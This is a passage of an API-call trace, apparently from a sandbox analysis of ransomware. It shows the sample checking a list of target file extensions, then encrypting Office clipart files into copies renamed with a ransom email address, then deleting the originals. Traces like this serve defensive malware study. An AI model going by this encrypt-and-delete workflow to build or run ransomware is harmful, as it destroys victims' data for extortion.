	[0094.845] WriteFile (in: hFile=0x380, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.845] SetEndOfFile (hFile=0x380) returned 1
	[0094.845] CloseHandle (hObject=0x380) returned 1
	[0094.845] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.845] SetEndOfFile (hFile=0x35c) returned 1
	[0094.846] CloseHandle (hObject=0x35c) returned 1
	[0094.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.846] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 1
	[0094.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0094.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0094.846] lstrlenW (lpString=".doc") returned 4
	[0094.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.846] lstrlenW (lpString=".docx") returned 5
	[0094.846] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.846] lstrlenW (lpString=".pdf") returned 4
	[0094.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.846] lstrlenW (lpString=".xls") returned 4
	[0094.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.846] lstrlenW (lpString=".xlsx") returned 5
	[0094.846] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.847] lstrlenW (lpString=".ppt") returned 4
	[0094.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0094.847] lstrlenW (lpString=".zip") returned 4
	[0094.847] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.847] lstrlenW (lpString=".rar") returned 4
	[0094.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.847] lstrlenW (lpString=".bz2") returned 4
	[0094.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.847] lstrlenW (lpString=".7z") returned 3
	[0094.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0094.847] lstrlenW (lpString=".dbf") returned 4
	[0094.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0094.847] lstrlenW (lpString=".1cd") returned 4
	[0094.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0094.847] lstrlenW (lpString=".jpg") returned 4
	[0094.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0094.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0094.847] lstrlenW (lpString=".doc") returned 4
	[0094.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.847] lstrlenW (lpString=".docx") returned 5
	[0094.847] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.847] lstrlenW (lpString=".pdf") returned 4
	[0094.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.847] lstrlenW (lpString=".xls") returned 4
	[0094.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.847] lstrlenW (lpString=".xlsx") returned 5
	[0094.847] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.847] lstrlenW (lpString=".ppt") returned 4
	[0094.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0094.847] lstrlenW (lpString=".zip") returned 4
	[0094.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.848] lstrlenW (lpString=".rar") returned 4
	[0094.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.848] lstrlenW (lpString=".bz2") returned 4
	[0094.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.848] lstrlenW (lpString=".7z") returned 3
	[0094.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0094.848] lstrlenW (lpString=".dbf") returned 4
	[0094.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0094.848] lstrlenW (lpString=".1cd") returned 4
	[0094.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0094.848] lstrlenW (lpString=".jpg") returned 4
	[0094.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.848] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.848] lstrlenW (lpString="HH01291_.WMF") returned 12
	[0094.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.848] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=15806) returned 1
	[0094.848] CloseHandle (hObject=0x35c) returned 1
	[0094.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x220
	[0094.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.849] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.849] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0094.849] GetLastError () returned 0x0
	[0094.849] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x3dbe, lpOverlapped=0x0) returned 1
	[0095.182] WriteFile (in: hFile=0x380, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3dc0, lpOverlapped=0x0) returned 1
	[0095.183] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.183] WriteFile (in: hFile=0x380, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.183] SetEndOfFile (hFile=0x380) returned 1
	[0095.183] CloseHandle (hObject=0x380) returned 1
	[0095.184] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.184] SetEndOfFile (hFile=0x35c) returned 1
	[0095.203] CloseHandle (hObject=0x35c) returned 1
	[0095.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 1
	[0095.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0095.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0095.607] lstrlenW (lpString=".doc") returned 4
	[0095.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.607] lstrlenW (lpString=".docx") returned 5
	[0095.607] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.607] lstrlenW (lpString=".pdf") returned 4
	[0095.607] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.607] lstrlenW (lpString=".xls") returned 4
	[0095.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.607] lstrlenW (lpString=".xlsx") returned 5
	[0095.607] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.607] lstrlenW (lpString=".ppt") returned 4
	[0095.607] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0095.607] lstrlenW (lpString=".zip") returned 4
	[0095.607] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.607] lstrlenW (lpString=".rar") returned 4
	[0095.607] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.607] lstrlenW (lpString=".bz2") returned 4
	[0095.607] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.607] lstrlenW (lpString=".7z") returned 3
	[0095.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0095.607] lstrlenW (lpString=".dbf") returned 4
	[0095.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0095.608] lstrlenW (lpString=".1cd") returned 4
	[0095.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0095.608] lstrlenW (lpString=".jpg") returned 4
	[0095.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0095.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0095.608] lstrlenW (lpString=".doc") returned 4
	[0095.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.608] lstrlenW (lpString=".docx") returned 5
	[0095.608] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.608] lstrlenW (lpString=".pdf") returned 4
	[0095.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.608] lstrlenW (lpString=".xls") returned 4
	[0095.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.608] lstrlenW (lpString=".xlsx") returned 5
	[0095.608] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.608] lstrlenW (lpString=".ppt") returned 4
	[0095.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0095.608] lstrlenW (lpString=".zip") returned 4
	[0095.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.608] lstrlenW (lpString=".rar") returned 4
	[0095.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.608] lstrlenW (lpString=".bz2") returned 4
	[0095.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.608] lstrlenW (lpString=".7z") returned 3
	[0095.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0095.608] lstrlenW (lpString=".dbf") returned 4
	[0095.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0095.608] lstrlenW (lpString=".1cd") returned 4
	[0095.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0095.609] lstrlenW (lpString=".jpg") returned 4
	[0095.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.609] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.609] lstrlenW (lpString="HM00116_.WMF") returned 12
	[0095.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0095.759] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=15852) returned 1
	[0095.759] CloseHandle (hObject=0x380) returned 1
	[0095.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x220
	[0095.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0095.760] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.760] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0095.760] GetLastError () returned 0x0
	[0095.760] ReadFile (in: hFile=0x380, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x3dec, lpOverlapped=0x0) returned 1
	[0095.762] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3df0, lpOverlapped=0x0) returned 1
	[0095.763] ReadFile (in: hFile=0x380, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.763] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.763] SetEndOfFile (hFile=0x300) returned 1
	[0095.764] CloseHandle (hObject=0x300) returned 1
	[0095.764] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.764] SetEndOfFile (hFile=0x380) returned 1
	[0095.765] CloseHandle (hObject=0x380) returned 1
	[0095.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.765] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 1
	[0095.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0095.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0095.765] lstrlenW (lpString=".doc") returned 4
	[0095.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.765] lstrlenW (lpString=".docx") returned 5
	[0095.765] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.765] lstrlenW (lpString=".pdf") returned 4
	[0095.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.765] lstrlenW (lpString=".xls") returned 4
	[0095.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.765] lstrlenW (lpString=".xlsx") returned 5
	[0095.765] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.765] lstrlenW (lpString=".ppt") returned 4
	[0095.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0095.765] lstrlenW (lpString=".zip") returned 4
	[0095.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.766] lstrlenW (lpString=".rar") returned 4
	[0095.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.766] lstrlenW (lpString=".bz2") returned 4
	[0095.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.766] lstrlenW (lpString=".7z") returned 3
	[0095.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0095.766] lstrlenW (lpString=".dbf") returned 4
	[0095.766] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0095.766] lstrlenW (lpString=".1cd") returned 4
	[0095.766] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0095.766] lstrlenW (lpString=".jpg") returned 4
	[0095.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0095.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0095.766] lstrlenW (lpString=".doc") returned 4
	[0095.766] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.766] lstrlenW (lpString=".docx") returned 5
	[0095.766] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.766] lstrlenW (lpString=".pdf") returned 4
	[0095.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.766] lstrlenW (lpString=".xls") returned 4
	[0095.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.766] lstrlenW (lpString=".xlsx") returned 5
	[0095.766] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.766] lstrlenW (lpString=".ppt") returned 4
	[0095.766] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0095.766] lstrlenW (lpString=".zip") returned 4
	[0095.766] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.766] lstrlenW (lpString=".rar") returned 4
	[0095.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.766] lstrlenW (lpString=".bz2") returned 4
	[0095.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.766] lstrlenW (lpString=".7z") returned 3
	[0095.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0095.767] lstrlenW (lpString=".dbf") returned 4
	[0095.767] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0095.767] lstrlenW (lpString=".1cd") returned 4
	[0095.767] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0095.767] lstrlenW (lpString=".jpg") returned 4
	[0095.767] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.767] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.767] lstrlenW (lpString="IN00177_.WMF") returned 12
	[0095.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0095.767] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1074) returned 1
	[0095.767] CloseHandle (hObject=0x380) returned 1
	[0095.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 0x220
	[0095.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0095.768] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.768] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0095.768] GetLastError () returned 0x0
	[0095.768] ReadFile (in: hFile=0x380, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x432, lpOverlapped=0x0) returned 1
	[0095.769] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x440, lpOverlapped=0x0) returned 1
